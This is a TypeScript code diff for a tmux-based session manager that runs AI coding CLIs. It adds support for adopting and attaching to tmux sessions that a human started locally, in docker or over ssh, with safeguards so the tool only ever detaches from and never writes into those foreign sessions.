setCustomModel(
next: CustomModelBookkeeping | undefined,
@@ -2027,13 +2128,30 @@ export class Session extends EventEmitter {
const previousConfigDir = this._customModel?.configDir;
const removedEnvKeys: string[] = [];
if (this._customModel) {
const previousOwnEnv = this._customModel.ownEnv ?? {};
for (const key of this._customModel.envKeys) {
if (this._envOverrides) delete this._envOverrides[key];
removedEnvKeys.push(key);
this._pendingEnvUnsets.add(key);
const own = previousOwnEnv[key];
if (own) {
this._envOverrides = { ...(this._envOverrides ?? {}), [key]: own };
this._pendingEnvUnsets.delete(key);
} else {
this._pendingEnvUnsets.add(key);
}
}
}
this._customModel = next ? { ...next, envKeys: [...next.envKeys] } : undefined;
// Read after the undo, so a switch between endpoints carries the own values across. An
// empty value is skipped: `applyEnvOverrides()` never set one, so it has nothing to
// restore, and the injected key still has to be unset.
const ownEnv: Record<string, string> = { ...next?.ownEnv };
if (!next?.ownEnv) {
for (const key of Object.keys(envOverrides ?? {})) {
const own = this._envOverrides?.[key];
if (own) ownEnv[key] = own;
}
}
this._customModel = next ? { ...next, envKeys: [...next.envKeys], ownEnv } : undefined;
if (envOverrides && Object.keys(envOverrides).length > 0) {
this._envOverrides = { ...(this._envOverrides ?? {}), ...envOverrides };
// A key the new selection sets again does not need an unset (applyEnvOverrides
@@ -2300,8 +2418,10 @@ export class Session extends EventEmitter {
status: this._status,
workingDir: this.workingDir,
paneCwd: this._paneCwd,
liveWorktree: this._liveWorktree,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
parentSessionId: this._parentSessionId,
currentTaskId: this._currentTaskId,
@@ -2595,7 +2715,7 @@ export class Session extends EventEmitter {
name: 'xterm-256color',
cols: ptyCols,
rows: ptyRows,
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker),
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker, this._adopt),
// COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH
// client too. Both sides read the same registry entry, which is what stops the
// attach client and the tmux session from disagreeing — they used to be two
@@ -2748,6 +2868,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
};
return this._withCustomModelLaunchModel(options);
@@ -2869,13 +2990,13 @@ export class Session extends EventEmitter {
* launch param. Where that param
* lives is registry DATA — the entry's `legacyConfigField` (`piConfig`, `grokConfig`,
* ...) or the top-level `model` for an entry that declares none — so this stays a
* generic reader rather than a branch per CLI. Applied on the OPTIONS only: the stored
* `<Mode>Config` keeps whatever model the user chose at create, which is exactly what a
* later clear must fall back to.
* generic reader rather than a branch per CLI. Applied on the OPTIONS only, on both the
* respawn and the create path: the stored `<Mode>Config` keeps whatever model the user
* chose at create, which is exactly what a later clear must fall back to.
*/
private _withCustomModelLaunchModel(
options: import('./mux-interface.js').RespawnPaneOptions
): import('./mux-interface.js').RespawnPaneOptions {
private _withCustomModelLaunchModel<
T extends import('./mux-interface.js').RespawnPaneOptions | import('./mux-interface.js').CreateSessionOptions,
>(options: T): T {
const launchModel = this._customModel?.launchModel;
if (!launchModel) return options;
const entry = getCli(this.mode);
@@ -3003,7 +3124,7 @@ export class Session extends EventEmitter {
// redraws overwrite only the cells they target, so non-erased rows keep
// their content. Gated to Codex/Claude/Gemini (isAltScreenStripMode).
//
// Every OTHER mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip
// Every OTHER mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip
// when it is tmux-backed: alt-screen toggles only, because the sequence that breaks
// scrollback there is tmux's own client-side smcup at attach, not anything the
// program in the pane emitted (issue #205, see isMuxAltScreenOnlyStripMode).
@@ -3084,6 +3205,26 @@ export class Session extends EventEmitter {
this.emit('output', data);
}
/**
* End a start that cannot reach an adopted session's wrapper.
*
* ⚠️ Never the direct-PTY fallback. What that starts is a NEW process on THIS host
* (`claude --dangerously-skip-permissions`, or a server-account shell) in the neutral
* `/tmp`, under a tab still carrying the foreign session's name, so someone who opened an
* ssh or container session would end up typing into this machine. `_useMux` stays on, so
* the next start, which is what selecting the tab sends, tries the wrapper again.
*
* The `error` event is what the tab shows: the browser's re-attach does not read the
* route's answer.
*/
private _failAdoptedStart(err: unknown): never {
const message = `Could not attach to ${this._adopt?.targetSession}: ${getErrorMessage(err)}`;
console.error(`[Session] ${message}`);
this._status = 'stopped';
this.emit('error', message);
throw new Error(message);
}
async startInteractive(): Promise<void> {
if (this.ptyProcess) {
throw new Error('Session already has a running process');
@@ -3129,8 +3270,10 @@ export class Session extends EventEmitter {
// wheel-forwarding to Claude's own transcript (the only route to history in
// repaint/alt-screen mode; issue #154). Remote sessions run claude on
// another host, so a local probe wouldn't reflect their version; they get
// their own over-ssh probe below. Cached process-wide, best-effort.
if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._cliVersion) {
// their own over-ssh probe below. Cached process-wide, best-effort. An adopted
// session's agent is a process someone else started, possibly elsewhere, so
// the local binary says nothing about it either.
if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._adopt && !this._cliVersion) {
const probedVersion = resolveSessionCliVersion(this.mode);
if (probedVersion) {
this._cliVersion = probedVersion;
@@ -3205,7 +3348,7 @@ export class Session extends EventEmitter {
const { isRestored, respawnedResumeId, respawnedDeadPane } = await this._setupOrAttachMuxSession({
// Single source of truth shared with reattachRemote() (COD-108).
respawnPaneOptions: this._buildRespawnPaneOptions(),
createSessionOptions: {
createSessionOptions: this._withCustomModelLaunchModel({
sessionId: this.id,
workingDir: this.workingDir,
mode: this.mode,
@@ -3233,8 +3376,9 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
}),
spawnErrLabel: 'mux attachment',
});
@@ -3317,6 +3461,7 @@ export class Session extends EventEmitter {
this._armPaneSettle(true);
}
} catch (err) {
if (this._adopt) this._failAdoptedStart(err);
console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
this._useMux = false;
this._muxSession = null;
@@ -3336,6 +3481,7 @@ export class Session extends EventEmitter {
if (getCli(this.mode)?.capabilities.requiresMux) {
throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`);
}
if (this._adopt) this._failAdoptedStart(new Error('tmux is not available'));
try {
// Pass --session-id to use the SAME ID as the Codeman session
// This ensures subagents can be directly matched to the correct tab.
@@ -3542,6 +3688,14 @@ export class Session extends EventEmitter {
// Stopped: the kill itself produces PTY output, and the buffer tail still holds the
// dialog, so without this a deleted session kept "answering" it for several seconds.
if (this._trustDialogAccepted || this._isStopped) return;
// ⚠️ Never answer a dialog in someone else's pane. An adopted session wraps a
// claude the human started, and this scan reads the pane and SENDS KEYS for 90
// seconds after `startInteractive()`, which boot recovery re-runs for every
// wrapper, so it is not a one-time window at adoption.
if (this._adopt) {
this._trustDialogAccepted = true;
return;
}
const now = Date.now();
if (now - this._interactiveStartedAt > TRUST_DIALOG_WINDOW_MS) {
this._trustDialogAccepted = true; // window closed; anything matching now is not the dialog
@@ -4298,6 +4452,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
createSessionOptions: {
@@ -4310,6 +4465,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
spawnErrLabel: 'shell mux attachment',
@@ -4317,7 +4473,10 @@ export class Session extends EventEmitter {
// For NEW sessions: clear by sending 'clear' command to the shell
// For RESTORED sessions: don't clear - we want to see the existing output
if (!isRestored) {
// ⚠️ Never for an ADOPTED one: this pane is someone else's, so the write would land
// on their half-typed command and submit it (measured), or in whatever is reading
// stdin. `shell` is also the mode of anything the classifier cannot name.
if (!isRestored && !this._adopt) {
setTimeout(() => {
if (this.ptyProcess) {
this._terminalBuffer.clear();
@@ -4326,6 +4485,7 @@ export class Session extends EventEmitter {
}, 100);
}
} catch (err) {
if (this._adopt) this._failAdoptedStart(err);
console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
this._useMux = false;
this._muxSession = null;
@@ -4334,6 +4494,7 @@ export class Session extends EventEmitter {
// Fallback to direct PTY if mux is not used
if (!this.ptyProcess) {
if (this._adopt) this._failAdoptedStart(new Error('tmux is not available'));
try {
this.ptyProcess = spawnPtyWithHelperRepair(() =>
pty.spawn(shell, [], {
@@ -4420,6 +4581,8 @@ export class Session extends EventEmitter {
prompt: string,
options?: { model?: string; onProgress?: (info: { tokens?: number; status?: string }) => void }
): Promise<{ result: string; cost: number }> {
// ⚠️ A one-shot `claude -p` is a new local process in `/tmp`, never the agent in that pane.
if (this._adopt) throw new Error('One-shot prompts are not available for adopted sessions');
if (this.guardedInputHeld) {
this._guardedInputRevision++;
throw new Error('Guarded submission in progress');
@@ -5070,6 +5233,7 @@ export class Session extends EventEmitter {
(!allowLease && this.guardedInputHeld) ||
this.remote ||
this.docker ||
this._adopt ||
this.paneExit ||
!this._muxSession
)
+267 -42
View File
@@ -23,6 +23,13 @@
import { EventEmitter } from 'node:events';
import { collectDescendants } from './proc-tree.js';
import {
foreignViewSessionName,
buildForeignDockerViewKillCommand,
buildForeignAttachCommand,
buildForeignDockerAttachCommand,
buildForeignRemoteAttachCommand,
} from './foreign-tmux.js';
import { execSync, exec, execFile } from 'node:child_process';
import { promisify } from 'node:util';
@@ -58,6 +65,7 @@ import {
type OmpConfig,
type SessionRemote,
type SessionDocker,
type SessionAdopt,
type DockerCommandMode,
type PaneExit,
type StatusLineExporter,
@@ -468,9 +476,10 @@ export function derivePaneCurrentPaths(
*
* Mirrors `Session.paneExitApplies`, which is where the rule is enforced. A
* remote session's local pane holds the ssh client, a docker case's holds a
* `docker exec` into the container's own tmux, and a record rebuilt from the
* socket carries no provenance at all, so the session end forces all three to
* UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
* `docker exec` into the container's own tmux, an ADOPTED session's holds a
* `tmux attach` to a session a human started rather than the agent itself, and
* a record rebuilt from the socket carries no provenance at all, so the session
* end forces all four to UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
* learn, and `refreshPaneExits()` skips its tmux read rather than paying for
* the answer.
*
@@ -483,12 +492,26 @@ export function hasObservablePaneSession(sessions: Iterable<MuxSession>): boolea
for (const session of sessions) {
if (session.remote) continue;
if (session.docker) continue;
if (session.adopt) continue;
if (session.discovered === true) continue;
return true;
}
return false;
}
/**
* Which adopted wrappers have a dead pane with a tmux client still attached, from rows of
* `#{pane_dead} #{session_attached} #{session_name}`. Exported for unit testing.
*/
export function endedAdoptedAttaches(rows: string, adopted: ReadonlySet<string>): string[] {
const ended: string[] = [];
for (const row of rows.split('\n')) {
const [dead, attached, muxName] = row.trim().split(' ');
if (dead === '1' && Number(attached) > 0 && adopted.has(muxName)) ended.push(muxName);
}
return ended;
}
/**
* Resolve a target pane id from `tmux list-panes -F '#{pane_id}:#{pane_active}'`.
* Prefers the active pane and falls back to the first valid pane.
@@ -1203,8 +1226,9 @@ export function buildSpawnCommand(options: {
/** Name pinned on claude as `--name` (version-gated, sanitized; local spawns only). By default only a user-chosen name; `pinCliSessionName` pins every tab name: see `Session.cliPinnedName`. */
sessionName?: string;
/**
* Claude CLI version for the `--name` gate. Omitted = probe the local CLI
* (getClaudeCliVersion; null under vitest). Tests inject a value here; the
* CLI version for the launch template's version gates (claude's `--name`, codex's
* `--no-daemon`). Omitted = probe the mode's own local CLI (resolveSessionCliVersion;
* null under vitest). The name predates the second gated CLI. Tests inject a value here; the
* docker/remote paths never see this builder's output, which is what keeps the
* gate measuring the RIGHT binary, the local one.
*/
@@ -1284,12 +1308,15 @@ export function remoteTmuxLocation(remote: SessionRemote, sessionId: string): {
*
* Emits:
* ssh -o BatchMode=yes -t [<COD-107 connection opts>] user@host \
* 'tmux -L codeman-remote new-session -A -s codeman-ssh-<id> -c <path> "cd <path> && exec <cli>" \
* 'tmux -L codeman-remote new-session -A -s codeman-ssh-<id> -c <path> /bin/sh -c <pane-command> \
* \; set -t codeman-ssh-<id> status off \; set -t codeman-ssh-<id> mouse off \
* \; set -t codeman-ssh-<id> prefix C-q \; set -s escape-time 0 \; \
* bind-key -T prefix C-q send-prefix \; unbind-key -a -T prefix \; \
* bind-key -T prefix C-q send-prefix \; set -t codeman-ssh-<id> remain-on-exit failed'
*
* `<pane-command>` is `cd <path> && exec <cli>`, quoted as one token. A per-host `commands.*`
* override is that one token alone, with no `/bin/sh -c` in front of it.
*
* COD-107 — the connection options (`-p`, `-i`, `-J`, SOCKS `-o ProxyCommand`,
* arbitrary `-o`) come from the shared `buildSshConnectionArgs(remote)`, so the
* prereq tmux probe and this launch connect with identical options.
@@ -1303,10 +1330,12 @@ export function remoteTmuxLocation(remote: SessionRemote, sessionId: string): {
* - The `set` options are scoped per-session (`set -t <name>` / server-level
* `set -s`), never `-g`, so they never mutate other sessions' prefix/mouse.
* - The whole tmux invocation is a SINGLE ssh argument (the remote login shell
* runs it), so it is shell-quoted as one unit; the `cd && exec` command is in
* turn a single tmux argument (tmux runs it via `/bin/sh -c`), so the path is
* shell-quoted inside it too. This keeps escaping correct through every layer
* even when the remote path contains spaces.
* runs it), so it is shell-quoted as one unit. The `cd && exec` command is the
* pane command: Codeman's own text goes to `/bin/sh -c` as separate tmux
* arguments, and a per-host `commands.*` override stays one argument, which
* tmux hands to the remote default-shell (see the comment at `paneCommand`).
* Each is shell-quoted, so escaping stays correct through every layer even
* when the remote path contains spaces.
*/
export function buildRemoteLaunchCommand(options: {
mode: SessionMode;
@@ -1323,9 +1352,9 @@ export function buildRemoteLaunchCommand(options: {
// hardcoding --dangerously-skip-permissions, so a non-granted multi-user user's
// downgraded 'auto' actually reaches the remote agent (the default command otherwise
// ignored claudeMode). A per-host `commands.claude` override stays authoritative
// (admin's explicit choice). Wrapped in `$SHELL -i -l -c` for the same reason as
// `defaultRemoteCommandForMode`: `claude` lives under a per-user PATH entry that
// only an interactive login shell resolves (see that function's comment).
// (admin's explicit choice). Wrapped in the login shell (`remoteLoginShellCommand`) for
// the same reason as `defaultRemoteCommandForMode`: `claude` lives under a per-user PATH
// entry that only an interactive login shell resolves (see that function's comment).
const override = remote.commands?.[mode];
let modeCommand: string;
if (override) {
@@ -1389,17 +1418,25 @@ export function buildRemoteLaunchCommand(options: {
}
const remoteName = remoteTmuxSessionName(sessionId);
// Innermost: the command tmux runs in the new pane. Run via `/bin/sh -c` by
// tmux, so the path needs shell-quoting here. `exec` replaces the shell with
// the CLI so the pane PID is the agent itself.
// Innermost: the command tmux runs in the new pane. `exec` replaces the shell
// with the CLI so the pane PID is the agent itself.
//
// tmux runs a ONE-argument command through the remote default-shell, which is
// the user's login shell, and bypasses it for two or more arguments (both
// measured on tmux 3.4). Codeman's own text is POSIX (`"${SHELL:-/bin/sh}"` is
// a parse error in fish, status 127, a dead pane on every new session), so it
// goes to `/bin/sh -c` as separate arguments and no login shell has to parse it.
// An override is the user's own text for THEIR shell: it stays one argument,
// because `source` and `[[` work in bash and zsh and die in a dash `/bin/sh`.
const paneCommand = `cd ${shellescape(remote.remotePath)} && ${modeCommand}`;
const paneArgv = `${override ? '' : '/bin/sh -c '}${shellescape(paneCommand)}`;
// The tmux command line, with `\;` separating commands so the config `set`s
// apply on the SAME connection (and are idempotent on reattach). Options are
// scoped per-session (`set -t <name>` / server `set -s`), NEVER `-g`, so a
// shared remote tmux server's other sessions keep their own prefix/mouse.
const tmuxInvocation = [
`tmux -L ${REMOTE_TMUX_SOCKET} new-session -A -s ${remoteName} -c ${shellescape(remote.remotePath)} ${shellescape(paneCommand)}`,
`tmux -L ${REMOTE_TMUX_SOCKET} new-session -A -s ${remoteName} -c ${shellescape(remote.remotePath)} ${paneArgv}`,
`set -t ${remoteName} status off`,
`set -t ${remoteName} mouse off`,
`set -t ${remoteName} prefix ${NESTED_TMUX_PREFIX}`,
@@ -1574,7 +1611,7 @@ export interface DockerLaunchOptions {
* Build the ONE `bash -c` launch string for a docker session: image-check ->
* ensure (inspect-or-create) -> start -> `exec docker exec -it` into the durable
* in-container tmux (resume-aware). PURE and unit-testable. The escaping survives
* four layers: outer `bash -c "…"` (JSON.stringify at respawn-pane) -> the joined
* four layers: outer `bash -c '…'` (`bashCArg()` at respawn-pane) -> the joined
* command -> `docker exec … sh -lc '<tmux>'` -> tmux `'<paneCommand>'`.
*/
export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string {
@@ -1602,8 +1639,8 @@ export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string {
} else if (resumeSessionId) {
modeCommand = appendResumeFlag(modeCommand, mode, resumeSessionId);
}
// Run by tmux via /bin/sh -c, so the path is shell-quoted here. `exec` makes the
// pane PID the agent itself.
// Run by tmux through the container's default-shell, so the path is shell-quoted
// here. `exec` makes the pane PID the agent itself.
const paneCommand = `cd ${workdir} && ${modeCommand}`;
// `setenv -g` primes the session id so reattaches / newly-created panes inherit
@@ -1665,11 +1702,10 @@ export function buildDockerLaunchCommand(opts: DockerLaunchOptions): string {
const ensure = adopted
? `${base} inspect ${name} >/dev/null 2>&1 || { echo ${notFoundMsg}; exit 1; }`
: `${base} inspect ${name} >/dev/null 2>&1 || ${createCommand}`;
// ⚠️ No double quotes and no `$(…)` in the ADOPTED arms. This whole chain is
// embedded in an outer `bash -c "…"`, so an unescaped `"` closes that string early,
// the rest is re-tokenized, and tmux fails to exec with a bare `execvp(3) failed`.
// A `grep -qx` pipeline reads the same answer using only the single-quoted form
// every other line in this builder already uses.
// A `grep -qx` pipeline, in the single-quoted form every other line in this builder
// uses. This chain reaches `bash -c` verbatim now (`bashCArg()`), but it went through
// a double-quoted layer for a long time, where a `"` closed that string early and tmux
// failed with a bare `execvp(3) failed`, so keep it free of double quotes and `$(…)`.
const start = adopted
? `${base} inspect -f ${shellescape('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true || { echo ${notRunningMsg}; exit 1; }`
: `${base} start ${name} >/dev/null 2>&1 || { echo ${startFailMsg}; exit 1; }`;
@@ -1894,6 +1930,45 @@ function buildRemoteSessionCommand(options: {
return buildRemoteLaunchCommand(options);
}
/**
* ADOPTION: the pane command for a wrapper session around a tmux session a
* human started. Sibling of `buildRemoteSessionCommand` and
* `buildDockerLaunchCommand`, and the same shape of decision: the wrapper is an
* ordinary `codeman-<8hex>` session on OUR socket, and only what runs INSIDE its
* pane differs per location.
*
* That indirection is what makes adoption safe by construction rather than by
* discipline: `killSession` only ever kills the wrapper on our own socket, so
* there is no shape of caller bug that reaches the foreign server with a
* `kill-session`. It is the same reasoning that keeps a non-owned REMOTE session
* safe (see the detach-not-kill early return in `killSession`).
*/
export function buildAdoptSessionCommand(adopt: SessionAdopt, sessionId: string): string {
const target = {
socketPath: adopt.socketPath,
targetSession: adopt.targetSession,
// Derived rather than required: the view name is a function of the Codeman
// session id, so a record that predates it (or one whose creator filled it in
// after construction) still produces the right name instead of an empty `-s`.
viewSession: adopt.viewSession || foreignViewSessionName(sessionId),
};
if (adopt.location === 'docker' && adopt.docker) {
return buildForeignDockerAttachCommand({
...target,
dockerBase: buildDockerBaseArgs(adopt.docker).join(' '),
containerName: adopt.docker.containerName,
});
}
if (adopt.location === 'remote' && adopt.remote) {
return buildForeignRemoteAttachCommand({
...target,
sshArgs: buildSshConnectionArgs(adopt.remote),
sshTarget: remoteSshTarget(adopt.remote),
});
}
return buildForeignAttachCommand(target);
}
/**
* Push one environment variable into a tmux session with `setenv`.
*
@@ -2499,6 +2574,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
historyLimit = DEFAULT_TMUX_HISTORY_LIMIT,
remote,
docker,
adopt,
owner,
} = options;
const muxName = `codeman-${sessionId.slice(0, 8)}`;
@@ -2520,6 +2596,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
workingDir,
remote,
docker,
adopt,
owner,
mode,
attached: false,
@@ -2546,7 +2623,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// surfacing as a bare `execvp(3) failed: No such file or directory` with nothing
// pointing at the real cause. The container's own CLIs are verified by the adoption
// preflight / image gate before launch instead.
const cliRunsInContainer = !!docker;
//
// ⚠️ Skipped for an ADOPTED session for the mirror-image reason: its CLI was started by
// a human in a process we did not spawn, and our pane only runs `tmux attach`. Requiring
// the binary here would reject adopting a claude that lives in a container or on an ssh
// host, and (worse) reject a LOCAL adoption whenever the agent is outside the server
// process's PATH, which is the usual systemd/launchd situation.
const cliRunsInContainer = !!docker || !!adopt;
if (!cliRunsInContainer && !cliDir) {
const message = missingCliMessage(mode);
if (message) throw new Error(message);
@@ -2557,7 +2640,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
mode,
workingDir,
!!(remote || docker)
// An adopted wrapper launches no agent, so nothing can carry the exporter.
!!(remote || docker || adopt)
);
const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
// The user's own REAL statusLine, if any (walked via Claude Code's own
@@ -2594,11 +2678,21 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
try {
// Build the full command to run inside tmux
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
const fullCmd = docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
: localFullCmd;
const fullCmd = adopt
? buildAdoptSessionCommand(adopt, sessionId)
: docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({
mode,
remote,
sessionId,
claudeMode,
allowedTools,
ompConfig,
resumeSessionId,
})
: localFullCmd;
// Create tmux session in three steps to handle cold-start (no server running)
// and avoid the race where the command exits before remain-on-exit is set:
@@ -2659,9 +2753,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// Replace the shell with the actual command (no echo in terminal). Keep
// pane launch in /tmp, then cd inside bash against the current mount table.
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
// ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
// is the neutral wrapper folder, not where the foreign pane is.
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
execSync(
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
{
timeout: EXEC_TIMEOUT_MS,
stdio: 'ignore',
@@ -2725,6 +2821,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
workingDir,
remote,
docker,
adopt,
owner,
mode,
attached: false,
@@ -2849,6 +2946,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
} = options;
const session = this.sessions.get(sessionId);
if (!session) return null;
// Adoption metadata comes from the tracked session, not the caller: a respawn
// of an adopted wrapper RE-ATTACHES to the same foreign target. It must never
// be able to become "launch a fresh agent here" because a caller forgot to
// pass the field through.
const adopt = options.adopt ?? session.adopt;
const muxName = session.muxName;
if (!isValidMuxName(muxName) || !isValidPath(workingDir)) return null;
@@ -2861,7 +2963,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
mode,
workingDir,
!!(remote || docker)
// An adopted wrapper launches no agent, so nothing can carry the exporter.
!!(remote || docker || adopt)
);
const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
const userStatusLineCommand = statusLineCommand ? await findEffectiveUserStatusLineCommand(workingDir) : undefined;
@@ -2891,11 +2994,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
const config = niceConfig || DEFAULT_NICE_CONFIG;
const cmd = wrapWithNice(baseCmd, config);
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
const fullCmd = docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
: localFullCmd;
const fullCmd = adopt
? buildAdoptSessionCommand(adopt, sessionId)
: docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
: localFullCmd;
try {
// Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it.
@@ -2912,9 +3017,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
this.applyEnvOverrides(muxName, envOverrides, unsetEnvKeys);
// -c /tmp + cd bounce — see createSession() for rationale (stale FUSE state).
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
// ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
// is the neutral wrapper folder, not where the foreign pane is.
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
await execAsync(
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
{
timeout: EXEC_TIMEOUT_MS,
}
@@ -3120,6 +3227,59 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// for a non-owned session. The only `kill-session` we run is on OUR LOCAL
// socket (`this.tmux()` = `tmux -L codeman` on THIS host), which kills the
// local pane — it does NOT reach the REMOTE socket.
// ADOPTION: DETACH-NOT-KILL, by construction rather than by discipline.
//
// An adopted session's wrapper is an ordinary session on OUR socket whose
// pane runs `tmux attach` (or `docker exec …`/`ssh …` then attach) against a
// FOREIGN server. Killing the wrapper kills our attach client, which is a
// DETACH on the foreign side; the human's session keeps running, and our
// grouped view session self-destroys via `destroy-unattached on`.
//
// The guard below is a formality more than a fence: `this.tmux()` only ever
// addresses our own socket, so no code path here CAN reach the foreign
// server. It is written out anyway so the intent survives future edits, the
// same way the non-owned-remote early return does.
if (session.adopt) {
console.log(`[TmuxManager] DETACH (adopted): tearing down wrapper only for ${session.muxName}`);
// A `docker exec` survives its client, so the in-container view would stay
// attached forever and leak. Best-effort, and it can only reach OUR view.
// See buildForeignDockerViewKillCommand for why local/remote need nothing.
// Fire and forget like the owned docker branch below: a daemon that stopped
// answering must not hold the event loop for the whole timeout.
if (session.adopt.location === 'docker' && session.adopt.docker) {
try {
exec(
buildForeignDockerViewKillCommand({
dockerBase: buildDockerBaseArgs(session.adopt.docker).join(' '),
containerName: session.adopt.docker.containerName,
socketPath: session.adopt.socketPath,
viewSession: session.adopt.viewSession || foreignViewSessionName(sessionId),
}),
{ timeout: EXEC_TIMEOUT_MS },
() => {}
);
} catch {
// Best-effort: the container may be gone, or the view already collected.
}
}
if (isValidMuxName(session.muxName)) {
try {
await execAsync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
timeout: EXEC_TIMEOUT_MS,
});
} catch {
// Wrapper may already be gone.
}
}
this.lastPaneCount.delete(session.muxName);
this.clearPaneExit(session.muxName);
this.sessions.delete(sessionId);
this.clearRemoteReconnectState(sessionId);
this.saveSessions();
this.emit('sessionKilled', { sessionId });
return true;
}
if (session.remote && session.remote.owned === false) {
console.log(`[TmuxManager] DETACH (non-owned remote): tearing down local pane only for ${session.muxName}`);
if (isValidMuxName(session.muxName)) {
@@ -3842,9 +4002,51 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
} catch (err) {
console.error('[TmuxManager] Remote reconnect watcher error:', err);
}
void this.detachEndedAdoptedAttaches().catch((err) => {
console.error('[TmuxManager] Adopted attach watcher error:', err);
});
}, intervalMs);
}
/**
* Let go of a wrapper whose pane died (#510). That pane holds the attach to someone
* else's tmux session, so it dies when that session ends, the transport drops or the
* view gets detached, and `paneExit` rightly reports none of them. But `remain-on-exit`
* keeps Codeman's own tmux client on the dead pane, so the tab kept its pid and `busy`,
* input went nowhere and both attach routes refused it.
*
* Detaching that client is an ordinary PTY exit with status 0: the pid goes null, the tab
* stays open, and selecting it starts the wrapper again, which joins the target if it is
* back and otherwise prints that it is gone. Only Codeman's own socket is touched.
*/
async detachEndedAdoptedAttaches(): Promise<void> {
const adopted = new Set<string>();
for (const session of this.sessions.values()) {
if (session.adopt) adopted.add(session.muxName);
}
if (adopted.size === 0) return;
for (const muxName of endedAdoptedAttaches(await this.readAttachRows(), adopted)) {
await this.detachClients(muxName);
}
}
/** Rows for {@link endedAdoptedAttaches}. Empty when tmux did not answer. */
protected async readAttachRows(): Promise<string> {
if (IS_TEST_MODE) return '';
const format = '#{pane_dead} #{session_attached} #{session_name}';
const { stdout } = await execAsync(`${this.tmux()} list-panes -a -F '${format}' 2>/dev/null || true`, {
encoding: 'utf-8',
timeout: EXEC_TIMEOUT_MS,
});
return stdout;
}
/** Detach every tmux client from one of Codeman's own sessions. */
protected async detachClients(muxName: string): Promise<void> {
if (IS_TEST_MODE || !isValidMuxName(muxName)) return;
